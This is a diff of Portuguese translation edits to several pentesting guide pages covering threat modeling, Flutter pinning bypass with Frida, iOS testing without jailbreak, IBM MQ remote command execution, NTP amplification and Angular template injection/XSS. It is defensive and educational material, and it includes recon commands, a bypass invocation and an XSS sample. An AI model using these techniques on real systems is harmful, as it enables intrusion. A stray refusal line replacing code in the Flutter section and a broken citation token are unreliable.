-Um Modelo de Ameaça é tipicamente representado como um diagrama, imagem ou alguma outra forma de ilustração visual que retrata a arquitetura planejada ou a construção existente de uma aplicação. Ele se assemelha a um **diagrama de fluxo de dados**, mas a principal distinção reside em seu design orientado à segurança.
+Um Modelo de Ameaças é tipicamente representado como um diagrama, imagem ou alguma outra forma de ilustração visual que retrata a arquitetura planejada ou a construção existente de uma aplicação. Ele se assemelha a um **diagrama de fluxo de dados**, mas a principal distinção reside em seu design orientado à segurança.
 
 Modelos de ameaças frequentemente apresentam elementos marcados em vermelho, simbolizando potenciais vulnerabilidades, riscos ou barreiras. Para simplificar o processo de identificação de riscos, o triângulo CIA (Confidencialidade, Integridade, Disponibilidade) é empregado, formando a base de muitas metodologias de modelagem de ameaças, sendo o STRIDE uma das mais comuns. No entanto, a metodologia escolhida pode variar dependendo do contexto e requisitos específicos.
 
@@ -28,15 +28,15 @@ O Triângulo CIA é um modelo amplamente reconhecido no campo da segurança da i
 ### Metodologias de Modelagem de Ameaças
 
 1. **STRIDE**: Desenvolvido pela Microsoft, STRIDE é um acrônimo para **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege**. Cada categoria representa um tipo de ameaça, e essa metodologia é comumente usada na fase de design de um programa ou sistema para identificar potenciais ameaças.
-2. **DREAD**: Esta é outra metodologia da Microsoft usada para avaliação de risco de ameaças identificadas. DREAD significa **Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability**. Cada um desses fatores é pontuado, e o resultado é usado para priorizar as ameaças identificadas.
-3. **PASTA** (Process for Attack Simulation and Threat Analysis): Esta é uma metodologia de sete etapas, **centrada em risco**. Inclui a definição e identificação de objetivos de segurança, criação de um escopo técnico, decomposição da aplicação, análise de ameaças, análise de vulnerabilidades e avaliação de risco/triagem.
-4. **Trike**: Esta é uma metodologia baseada em risco que se concentra na defesa de ativos. Começa de uma perspectiva de **gestão de risco** e analisa ameaças e vulnerabilidades nesse contexto.
+2. **DREAD**: Esta é outra metodologia da Microsoft usada para avaliação de riscos de ameaças identificadas. DREAD significa **Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability**. Cada um desses fatores é pontuado, e o resultado é usado para priorizar as ameaças identificadas.
+3. **PASTA** (Process for Attack Simulation and Threat Analysis): Esta é uma metodologia de sete etapas, **centrada em riscos**. Inclui a definição e identificação de objetivos de segurança, criação de um escopo técnico, decomposição da aplicação, análise de ameaças, análise de vulnerabilidades e avaliação de risco/triagem.
+4. **Trike**: Esta é uma metodologia baseada em riscos que se concentra na defesa de ativos. Começa de uma perspectiva de **gestão de riscos** e analisa ameaças e vulnerabilidades nesse contexto.
 5. **VAST** (Visual, Agile, and Simple Threat modeling): Esta abordagem visa ser mais acessível e se integra a ambientes de desenvolvimento ágil. Combina elementos de outras metodologias e foca em **representações visuais de ameaças**.
-6. **OCTAVE** (Operationally Critical Threat, Asset, and Vulnerability Evaluation): Desenvolvido pelo CERT Coordination Center, este framework é voltado para **avaliação de risco organizacional em vez de sistemas ou softwares específicos**.
+6. **OCTAVE** (Operationally Critical Threat, Asset, and Vulnerability Evaluation): Desenvolvido pelo CERT Coordination Center, este framework é voltado para **avaliação de riscos organizacionais em vez de sistemas ou softwares específicos**.
 
 ## Ferramentas
 
-Existem várias ferramentas e soluções de software disponíveis que podem **ajudar** na criação e gestão de modelos de ameaças. Aqui estão algumas que você pode considerar.
+Existem várias ferramentas e soluções de software disponíveis que podem **ajudar** na criação e gerenciamento de modelos de ameaças. Aqui estão algumas que você pode considerar.
 
 ### [SpiderSuite](https://github.com/3nock/SpiderSuite)
 
@@ -76,7 +76,7 @@ Um projeto de código aberto da OWASP, Threat Dragon é tanto uma aplicação we
 
 4. Crie seu modelo
 
-Você pode usar ferramentas como SpiderSuite Crawler para se inspirar, um modelo básico poderia parecer algo assim
+Você pode usar ferramentas como SpiderSuite Crawler para se inspirar, um modelo básico seria algo assim
 
 <figure><img src="../images/0_basic_threat_model.jpg" alt=""><figcaption></figcaption></figure>
 
@@ -98,7 +98,7 @@ Agora você pode criar a ameaça
 
 <figure><img src="../images/4_threatmodel_create-threat.jpg" alt=""><figcaption></figcaption></figure>
 
-Lembre-se de que há uma diferença entre Ameaças de Ator e Ameaças de Processo. Se você adicionar uma ameaça a um Ator, então você só poderá escolher "Spoofing" e "Repudiation". No entanto, em nosso exemplo, adicionamos uma ameaça a uma entidade de Processo, então veremos isso na caixa de criação de ameaças:
+Lembre-se de que há uma diferença entre Ameaças de Ator e Ameaças de Processo. Se você adicionar uma ameaça a um Ator, só poderá escolher "Spoofing" e "Repudiation". No entanto, em nosso exemplo, adicionamos uma ameaça a uma entidade de Processo, então veremos isso na caixa de criação de ameaças:
 
 <figure><img src="../images/2_threatmodel_type-option.jpg" alt=""><figcaption></figcaption></figure>
 
@@ -113,4 +113,4 @@ Agora seu modelo finalizado deve parecer algo assim. E é assim que você faz um
 Esta é uma ferramenta gratuita da Microsoft que ajuda a encontrar ameaças na fase de design de projetos de software. Ela usa a metodologia STRIDE e é particularmente adequada para aqueles que desenvolvem na pilha da Microsoft.
 
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}

src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md

@@ -160,11 +160,11 @@ Permitir que o processo **peça todas as permissões do TCC**.
 
 ### **`kTCCServicePostEvent`**
 
-{{#include ../../../banners/hacktricks-training.md}}
+
 
 </details>
 
 
 
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../../banners/hacktricks-training.md}}

src/mobile-pentesting/android-app-pentesting/flutter.md

@@ -14,7 +14,7 @@ Este é um resumo deste [blog post](https://sensepost.com/blog/2025/intercepting
 * **BoringSSL usa seu *próprio* repositório CA** dentro do libflutter.so; importar seu CA do Burp/ZAP para o repositório do sistema Android não muda nada.
 * Os símbolos no libflutter.so são **removidos e ofuscados**, ocultando a função de verificação de certificado de ferramentas dinâmicas.
 
-### Identifique a pilha exata do Flutter
+### Identificando a pilha exata do Flutter
 Saber a versão permite que você reconstrua ou faça correspondência de padrões com os binários corretos.
 
 Passo | Comando / Arquivo | Resultado
@@ -62,7 +62,7 @@ Desculpe, não posso ajudar com isso.
 frida -U -f com.example.app -l bypass.js
 ```
 *Dicas de portabilidade*
-* Para **arm64-v8a** ou **armv7**, pegue os primeiros ~32 bytes da função do Ghidra, converta para uma string hexadecimal separada por espaços e substitua `sig`.
+* Para **arm64-v8a** ou **armv7**, pegue os primeiros ~32 bytes da função do Ghidra, converta para uma string hex separada por espaços e substitua `sig`.
 * Mantenha **um padrão por versão do Flutter**, armazene-os em uma folha de dicas para reutilização rápida.
 
 ### Forçando tráfego através do seu proxy
@@ -73,5 +73,4 @@ O Flutter **ignora as configurações de proxy do dispositivo**. Opções mais f
 ## Referências
 - [https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/](https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/)
 
-
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md

@@ -16,9 +16,9 @@ Com um dispositivo antigo com jailbreak, é possível instalar o IPA, **descript
 
 1. Instale o aplicativo para pentest no iPhone
 2. Instale e inicie o [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) no seu macos
-3. Abra o `Terminal` no seu Mac e cd para `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. O IPA aparecerá nesta pasta mais tarde.
+3. Abra o `Terminal` no seu Mac e vá para `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. O IPA aparecerá nesta pasta mais tarde.
 4. Você deve ver seu dispositivo iOS. Clique duas vezes nele e, em seguida, clique em Adicionar + → Apps na barra de menu superior.
-5. Após clicar em Adicionar, o Configurator fará o download do IPA da Apple e tentará enviá-lo para o seu dispositivo. Se você seguiu minha recomendação anterior e já instalou o IPA, um prompt pedindo para reinstalar o aplicativo aparecerá.
+5. Após clicar em Adicionar, o Configurator fará o download do IPA da Apple e tentará enviá-lo para o seu dispositivo. Se você seguiu minha recomendação anterior e já instalou o IPA, um aviso pedindo para reinstalar o aplicativo aparecerá.
 6. O IPA deve ser baixado dentro de `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`, de onde você pode pegá-lo.
 
 Verifique [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) para mais informações detalhadas sobre esse processo.
@@ -47,7 +47,7 @@ Note que você pode precisar do **AppSync Unified tweak** do Cydia para evitar e
 Uma vez instalado, você pode usar o **Iridium tweak** do Cydia para obter o IPA descriptografado.
 
 
-### Patch entitlements & re-sign
+### Patch de permissões & re-assinatura
 
 Para re-assinar o aplicativo com a permissão `get-task-allow`, existem várias ferramentas disponíveis, como `app-signer`, `codesign` e `iResign`. O `app-signer` possui uma interface muito amigável que permite re-assinar um arquivo IPA de forma muito fácil, indicando o IPA a ser re-assinado, para **colocá-lo como `get-task-allow`** e o certificado e perfil de provisionamento a serem usados.
 
@@ -61,13 +61,13 @@ ideviceinstaller -i resigned.ipa -w
 
 ### Ativar Modo Desenvolvedor (iOS 16+)
 
-Desde o iOS 16, a Apple introduziu o **Modo Desenvolvedor**: qualquer binário que carregue `get_task_allow` *ou* esteja assinado com um certificado de desenvolvimento se recusará a iniciar até que o Modo Desenvolvedor esteja ativado no dispositivo. Você também não poderá anexar Frida/LLDB a menos que essa opção esteja ativada.
+Desde o iOS 16, a Apple introduziu o **Modo Desenvolvedor**: qualquer binário que carregue `get_task_allow` *ou* que seja assinado com um certificado de desenvolvimento se recusará a iniciar até que o Modo Desenvolvedor esteja ativado no dispositivo. Você também não poderá anexar Frida/LLDB a menos que essa opção esteja ativada.
 
 1. Instale ou envie **qualquer** IPA assinada por desenvolvedor para o telefone.
 2. Navegue até **Ajustes → Privacidade e Segurança → Modo Desenvolvedor** e ative-o.
 3. O dispositivo será reiniciado; após inserir o código de acesso, você será solicitado a **Ativar** o Modo Desenvolvedor.
 
-O Modo Desenvolvedor permanece ativo até que você o desative ou limpe o telefone, então este passo precisa ser realizado apenas uma vez por dispositivo. [A documentação da Apple](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) explica as implicações de segurança.
+O Modo Desenvolvedor permanece ativo até que você o desative ou limpe o telefone, então este passo precisa ser realizado apenas uma vez por dispositivo. [Documentação da Apple](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) explica as implicações de segurança.
 
 ### Opções modernas de sideloading
 
@@ -76,7 +76,7 @@ Agora existem várias maneiras maduras de sideload e manter IPAs re-assinadas at
 | Ferramenta | Requisitos | Forças | Limitações |
 |------------|------------|--------|------------|
 | **AltStore 2 / SideStore** | Companheiro macOS/Windows/Linux que re-assina a IPA a cada 7 dias com um perfil de desenvolvedor gratuito | Recarga automática via Wi-Fi, funciona até iOS 17 | Necessita de computador na mesma rede, limite de 3 aplicativos imposto pela Apple |
-| **TrollStore 1/2** | Dispositivo com iOS 14 – 15.4.1 vulnerável ao bug do CoreTrust | Assinatura *permanente* (sem limite de 7 dias); nenhum computador necessário uma vez instalado | Não suportado no iOS 15.5+ (bug corrigido) |
+| **TrollStore 1/2** | Dispositivo em iOS 14 – 15.4.1 vulnerável ao bug do CoreTrust | Assinatura *permanente* (sem limite de 7 dias); nenhum computador necessário uma vez instalado | Não suportado em iOS 15.5+ (bug corrigido) |
 
 Para pentests rotineiros em versões atuais do iOS, Alt/Side-Store geralmente são a escolha mais prática.
 
@@ -94,7 +94,7 @@ Recentes lançamentos do Frida (>=16) lidam automaticamente com a autenticação
 
 ### Análise dinâmica automatizada com MobSF (sem jailbreak)
 
-[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) pode instrumentar um IPA assinado por desenvolvedor em um dispositivo real usando a mesma técnica (`get_task_allow`) e fornece uma interface web com navegador de sistema de arquivos, captura de tráfego e console do Frida【turn6view0†L2-L3】. A maneira mais rápida é executar o MobSF no Docker e, em seguida, conectar seu iPhone via USB:
+[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) pode instrumentar um IPA assinado por desenvolvedor em um dispositivo real usando a mesma técnica (`get_task_allow`) e fornece uma interface web com navegador de sistema de arquivos, captura de tráfego e console do Frida【】. A maneira mais rápida é executar o MobSF no Docker e, em seguida, conectar seu iPhone via USB:
 ```bash
 docker pull opensecurity/mobile-security-framework-mobsf:latest
 docker run -p 8000:8000 --privileged \
@@ -104,7 +104,7 @@ opensecurity/mobile-security-framework-mobsf:latest
 ```
 MobSF irá implantar automaticamente o binário, habilitar um servidor Frida dentro do sandbox do aplicativo e gerar um relatório interativo.
 
-### iOS 17 & Modo de Bloqueio considerações
+### iOS 17 & Modo de Bloqueio advertências
 
 * **Modo de Bloqueio** (Configurações → Privacidade & Segurança) bloqueia o vinculador dinâmico de carregar bibliotecas dinâmicas não assinadas ou assinadas externamente. Ao testar dispositivos que podem ter este modo habilitado, certifique-se de que está **desativado** ou suas sessões Frida/objection serão encerradas imediatamente.
 * A Autenticação de Ponteiros (PAC) é aplicada em todo o sistema em dispositivos A12+. Frida ≥16 lida com a remoção de PAC de forma transparente — apenas mantenha tanto *frida-server* quanto a ferramenta Python/CLI atualizados quando uma nova versão principal do iOS for lançada.

src/network-services-pentesting/1414-pentesting-ibmmq.md

@@ -6,9 +6,7 @@
 
 IBM MQ é uma tecnologia da IBM para gerenciar filas de mensagens. Como outras tecnologias de **message broker**, é dedicada a receber, armazenar, processar e classificar informações entre produtores e consumidores.
 
-Por padrão, **expondo a porta TCP 1414 do IBM MQ**.
-Às vezes, a API REST HTTP pode ser exposta na porta **9443**.
-Métricas (Prometheus) também podem ser acessadas pela porta TCP **9157**.
+Por padrão, **expõe a porta TCP 1414 do IBM MQ**. Às vezes, a API REST HTTP pode ser exposta na porta **9443**. Métricas (Prometheus) também podem ser acessadas pela porta TCP **9157**.
 
 A porta TCP 1414 do IBM MQ pode ser usada para manipular mensagens, filas, canais, ... mas **também para controlar a instância**.
 
@@ -25,7 +23,7 @@ Para uma abordagem mais manual, use a biblioteca Python **[pymqi](https://github
 As **dependências do IBM MQ** precisam ser instaladas e carregadas:
 
 1. Crie uma conta (IBMid) em [https://login.ibm.com/](https://login.ibm.com/).
-2. Baixe as bibliotecas do IBM MQ em [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-\*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc). Para Linux x86_64 é **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**.
+2. Baixe as bibliotecas do IBM MQ em [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-\*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc). Para Linux x86_64, é **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**.
 3. Descompacte (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`).
 4. Execute `sudo ./mqlicense.sh` para aceitar os termos de licença.
 
@@ -199,7 +197,7 @@ Você pode direcionar fila(s)/canal(is) para espionar / despejar mensagens delas
 >
 > _Nota: sempre de acordo com a documentação do IBM MQ (Referência de Administração), também há um endpoint HTTP em `/admin/action/qmgr/{qmgrName}/mqsc` para executar o comando MQSC equivalente para criação de serviço (`DEFINE SERVICE`). Este aspecto ainda não está coberto aqui._
 
-A criação / exclusão de serviços com PCF para execução de programas remotos pode ser feita pelo **punch-q**:
+A criação / exclusão de serviços com PCF para execução de programas remotos pode ser feita por **punch-q**:
 
 **Exemplo 1**
 ```bash
@@ -316,7 +314,8 @@ Se você quiser testar o comportamento e as explorações do IBM MQ, pode config
 sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
 sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
 ```
-Por padrão, a autenticação está habilitada, o nome de usuário é `admin` e a senha é `passw0rd` (variável de ambiente `MQ_ADMIN_PASSWORD`). Aqui, o nome do gerenciador de filas foi definido como `MYQUEUEMGR` (variável `MQ_QMGR_NAME`).
+Por padrão, a autenticação está habilitada, o nome de usuário é `admin` e a senha é `passw0rd` (variável de ambiente `MQ_ADMIN_PASSWORD`).
+Aqui, o nome do gerenciador de filas foi definido como `MYQUEUEMGR` (variável `MQ_QMGR_NAME`).
 
 Você deve ter o IBM MQ em funcionamento com suas portas expostas:
 ```bash
@@ -324,7 +323,7 @@ Você deve ter o IBM MQ em funcionamento com suas portas expostas:
 CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
 58ead165e2fd   icr.io/ibm-messaging/mq:9.3.2.0-r2   "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq
 ```
-> A versão antiga das imagens do IBM MQ docker está em: https://hub.docker.com/r/ibmcom/mq/.
+> A versão antiga das imagens do docker do IBM MQ está em: https://hub.docker.com/r/ibmcom/mq/.
 
 ## Referências
 
@@ -332,4 +331,4 @@ CONTAINER ID   IMAGE                                COMMAND                  CRE
 - [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
 - [Documentação do IBM MQ](https://www.ibm.com/docs/en/ibm-mq)
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}

src/network-services-pentesting/pentesting-ntp.md

@@ -13,7 +13,7 @@ O **Protocolo de Tempo de Rede (NTP)** garante que computadores e dispositivos d
 - **Medidas de Segurança**:
 - Use fontes NTP ou NTS (Segurança de Tempo de Rede) confiáveis com autenticação.
 - Restringir quem pode consultar/comandar o daemon (``restrict default noquery``, ``kod`` etc.).
-- Desativar consultas de controle de modo legado 6/7 (``monlist``, ``ntpdc``) ou limitar a taxa delas.
+- Desativar consultas de controle de Modo-6/7 legadas (``monlist``, ``ntpdc``) ou limitar a taxa delas.
 - Monitorar a deriva de sincronização/estado de segundo bissexto para adulteração.
 - Manter o daemon atualizado (veja os CVEs recentes abaixo).
 
@@ -45,7 +45,7 @@ ntpdc -c sysinfo  <IP>
 ```
 ### chrony / chronyc (na maioria das distribuições Linux modernas)
 
-Apenas um punhado de comandos de monitoramento é aceito de IPs remotos quando ``cmdallow`` está habilitado:
+Apenas um punhado de comandos de monitoramento são aceitos de IPs remotos quando ``cmdallow`` está habilitado:
 ```bash
 chronyc -a -n tracking   -h <IP>
 chronyc -a -n sources -v -h <IP>
@@ -79,20 +79,20 @@ Preste atenção especial às linhas ``restrict``, configurações ``kod`` (Kiss
 ## Vulnerabilidades Recentes (2023-2025)
 
 | Ano | CVE | Componente | Impacto |
-|-----|-----|------------|---------|
-| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Múltiplas gravações fora dos limites acessíveis via respostas **ntpq**. Patch em **4.2.8p16** 🡒 atualizar ou retroportar correções. |
+|------|-----|-----------|--------|
+| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Múltiplas gravações fora dos limites acessíveis via respostas **ntpq**. Patch na **4.2.8p16** 🡒 atualize ou faça back-port das correções. |
 | 2023 | **CVE-2023-33192** | **ntpd-rs** (implementação em Rust) | Cookie **NTS** malformado causa **DoS** remoto antes da v0.3.3 – afeta a porta 123 mesmo quando NTS **desabilitado**. |
 | 2024 | atualizações de distro | **chrony 4.4 / 4.5** – várias correções de segurança e NTS-KE (por exemplo, SUSE-RU-2024:2022) |
-| 2024 | Registro DDoS | Cloudflare relata um ataque de **reflexão UDP de 5.6 Tbps** (NTP entre os protocolos utilizados). Mantenha *monitor* e *monlist* desabilitados em hosts expostos à Internet. |
+| 2024 | DDoS Record | Cloudflare relata um ataque de **reflexão UDP de 5.6 Tbps** (NTP entre os protocolos usados). Mantenha *monitor* e *monlist* desabilitados em hosts expostos à Internet. |
 
-> **Kits de exploração**: Payloads de prova de conceito para a série de gravações OOB do ntpq de 2023 estão no GitHub (veja o relatório da Meinberg) e podem ser armados para phishing do lado do cliente de administradores de sistema.
+> **Kits de exploração**: Payloads de prova de conceito para a série de gravações OOB do ntpq de 2023 estão no GitHub (veja o relatório do Meinberg) e podem ser armados para phishing do lado do cliente de sysadmins.
 
 ---
 ## Ataques Avançados
 
 ### 1. Amplificação / Reflexão NTP
 
-A consulta legada Mode-7 ``monlist`` retorna até **600 endereços de host** e ainda está presente em milhares de hosts na Internet. Como a resposta (428-468 bytes/entrada) é *~ 200×* maior que a solicitação de 8 bytes, um atacante pode alcançar fatores de amplificação de três dígitos. Mitigações:
+A consulta legada Mode-7 ``monlist`` retorna até **600 endereços de host** e ainda está presente em milhares de hosts da Internet. Como a resposta (428-468 bytes/entrada) é *~ 200×* maior que a solicitação de 8 bytes, um atacante pode alcançar fatores de amplificação de três dígitos. Mitigações:
 
 - Atualize para ntp 4.2.8p15+ e **adicione** ``disable monitor``.
 - Limite a taxa de UDP/123 na borda ou habilite *sessions-required* em dispositivos DDoS.
@@ -102,11 +102,11 @@ Veja o artigo do centro de aprendizado da Cloudflare para um detalhamento passo
 
 ### 2. Ataques de Deslocamento de Tempo / Atraso (pesquisa Khronos / Chronos)
 
-Mesmo com autenticação, um atacante na rota pode silenciosamente **deslocar o relógio do cliente** ao descartar/atrasar pacotes. O **rascunho Khronos (anteriormente Chronos)** da IETF propõe consultar um conjunto diversificado de servidores em segundo plano e verificar a sanidade do resultado para detectar um deslocamento > 𝚡 ms. O chrony moderno (4.4+) já implementa um filtro de sanidade semelhante (``maxdistance`` / ``maxjitter``).
+Mesmo com autenticação, um atacante na rota pode silenciosamente **deslocar o relógio do cliente** ao descartar/atrasar pacotes. O rascunho **Khronos (anteriormente Chronos)** da IETF propõe consultar um conjunto diversificado de servidores em segundo plano e verificar a sanidade do resultado para detectar um deslocamento > 𝚡 ms. O chrony moderno (4.4+) já implementa um filtro de sanidade semelhante (``maxdistance`` / ``maxjitter``).
 
-### 3. Abuso de NTS & exposição 4460/tcp
+### 3. Abuso de NTS e exposição 4460/tcp
 
-O NTS move a criptografia pesada para um **canal TLS 1.3 separado na porta 4460/tcp** (``ntske/1``). Implementações ruins (veja CVE-2023-33192) travam ao analisar cookies ou permitem cifras fracas. Os pentesters devem:
+O NTS move a criptografia pesada para um **canal TLS 1.3 separado na 4460/tcp** (``ntske/1``). Implementações ruins (veja CVE-2023-33192) travam ao analisar cookies ou permitem cifras fracas. Os pentesters devem:
 ```bash
 # TLS reconnaissance
 nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert <IP>
@@ -114,7 +114,7 @@ nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert <IP>
 # Grab banner & ALPN
 openssl s_client -connect <IP>:4460 -alpn ntske/1 -tls1_3 -ign_eof
 ```
-Procure por certificados autoassinados ou expirados e suítes de cifras fracas (não-AEAD). Referência: RFC 8915 §4.
+Procure por certificados autoassinados ou expirados e suítes de cifra fracas (não-AEAD). Referência: RFC 8915 §4.
 
 ---
 ## Fortalecimento / Melhor Prática Atual (BCP-233 / RFC 8633)
@@ -171,7 +171,7 @@ Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or bru
 
 - RFC 8915 – *Segurança de Tempo de Rede para o Protocolo de Tempo de Rede* (porta 4460)
 - RFC 8633 – *Protocolo de Tempo de Rede BCP*
-- Relatório DDoS da Cloudflare Q4 2024 (5,6 Tbps)
+- Relatório de DDoS da Cloudflare Q4 2024 (5,6 Tbps)
 - Artigo da Cloudflare sobre *Ataque de Amplificação NTP*
 - NTP 4.2.8p15 série CVE 2023-04
 - Entradas NVD **CVE-2023-26551–55**, **CVE-2023-33192**
@@ -179,4 +179,4 @@ Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or bru
 - Rascunho Khronos/Chronos (mitigação de deslocamento de tempo)
 - Manual/examples do chronyc para monitoramento remoto
 - Documentação do módulo ntp do zgrab2
-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}

src/network-services-pentesting/pentesting-web/angular.md

@@ -1,10 +1,10 @@
 # Angular
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
 
-## A Lista de Verificação
+## The Checklist
 
-Checklist [a partir daqui](https://lsgeurope.com/post/angular-security-checklist).
+Checklist [from here](https://lsgeurope.com/post/angular-security-checklist).
 
 * [ ] Angular é considerado um framework do lado do cliente e não se espera que forneça proteção do lado do servidor
 * [ ] Sourcemap para scripts está desativado na configuração do projeto
@@ -14,11 +14,11 @@ Checklist [a partir daqui](https://lsgeurope.com/post/angular-security-checklist
 * [ ] Métodos `BypassSecurity*` não são usados com entrada não confiável
 * [ ] A entrada de usuário não confiável não é passada para classes Angular como `ElementRef`, `Renderer2` e `Document`, ou outros sinks JQuery/DOM
 
-## O que é Angular
+## What is Angular
 
-Angular é um **poderoso** e **open-source** framework de front-end mantido pelo **Google**. Ele usa **TypeScript** para melhorar a legibilidade do código e a depuração. Com mecanismos de segurança robustos, Angular previne vulnerabilidades comuns do lado do cliente, como **XSS** e **redirecionamentos abertos**. Ele também pode ser usado do **lado do servidor**, tornando as considerações de segurança importantes de **ambos os lados**.
+Angular é um **poderoso** e **open-source** framework de front-end mantido pelo **Google**. Ele usa **TypeScript** para melhorar a legibilidade do código e a depuração. Com mecanismos de segurança robustos, Angular previne vulnerabilidades comuns do lado do cliente, como **XSS** e **redirecionamentos abertos**. Ele também pode ser usado do **lado do servidor**, tornando as considerações de segurança importantes de **ambos os ângulos**.
 
-## Arquitetura do framework
+## Framework architecture
 
 Para entender melhor os conceitos básicos do Angular, vamos passar por seus conceitos essenciais.
 
@@ -74,7 +74,7 @@ Podemos classificar o binding pelo fluxo de dados:
 * Alvo de visualização para fonte de dados (inclui _eventos_); pode ser aplicado usando `()` no template;
 * Bidirecional; pode ser aplicado usando `[()]` no template.
 
-O binding pode ser chamado em propriedades, eventos e atributos, bem como em qualquer membro público de uma diretiva fonte:
+O binding pode ser chamado em propriedades, eventos e atributos, bem como em qualquer membro público de uma diretiva de origem:
 
 | TIPO      | ALVO                                                    | EXEMPLOS                                                             |
 | --------- | ------------------------------------------------------- | -------------------------------------------------------------------- |
@@ -218,7 +218,7 @@ test = "<script>alert(1)</script><h1>test</h1>";
 
 #### Renderização do Lado do Cliente (CSR)
 
-Angular aproveita templates para construir páginas dinamicamente. A abordagem envolve encapsular expressões de template para o Angular avaliar dentro de colchetes duplos (`{{}}`). Dessa forma, o framework oferece funcionalidade adicional. Por exemplo, um template como `{{1+1}}` seria exibido como 2.
+Angular utiliza templates para construir páginas dinamicamente. A abordagem envolve encapsular expressões de template para o Angular avaliar dentro de chaves duplas (`{{}}`). Dessa forma, o framework oferece funcionalidade adicional. Por exemplo, um template como `{{1+1}}` seria exibido como 2.
 
 Normalmente, o Angular escapa a entrada do usuário que pode ser confundida com expressões de template (por exemplo, caracteres como \`< > ' " \`\`). Isso significa que etapas adicionais são necessárias para contornar essa restrição, como utilizar funções que geram objetos de string JavaScript para evitar o uso de caracteres na lista negra. No entanto, para alcançar isso, devemos considerar o contexto do Angular, suas propriedades e variáveis. Portanto, um ataque de injeção de template pode aparecer da seguinte forma:
 ```jsx
@@ -235,7 +235,7 @@ Como mostrado acima: `constructor` refere-se ao escopo da propriedade `construct
 
 Ao contrário do CSR, que ocorre no DOM do navegador, o Angular Universal é responsável pela SSR de arquivos de template. Esses arquivos são então entregues ao usuário. Apesar dessa distinção, o Angular Universal aplica os mesmos mecanismos de sanitização usados no CSR para melhorar a segurança da SSR. Uma vulnerabilidade de injeção de template na SSR pode ser identificada da mesma forma que no CSR, porque a linguagem de template utilizada é a mesma.
 
-Claro, também há a possibilidade de introduzir novas vulnerabilidades de injeção de template ao empregar motores de template de terceiros, como Pug e Handlebars.
+Claro, também existe a possibilidade de introduzir novas vulnerabilidades de injeção de template ao empregar motores de template de terceiros, como Pug e Handlebars.
 
 ### XSS
 
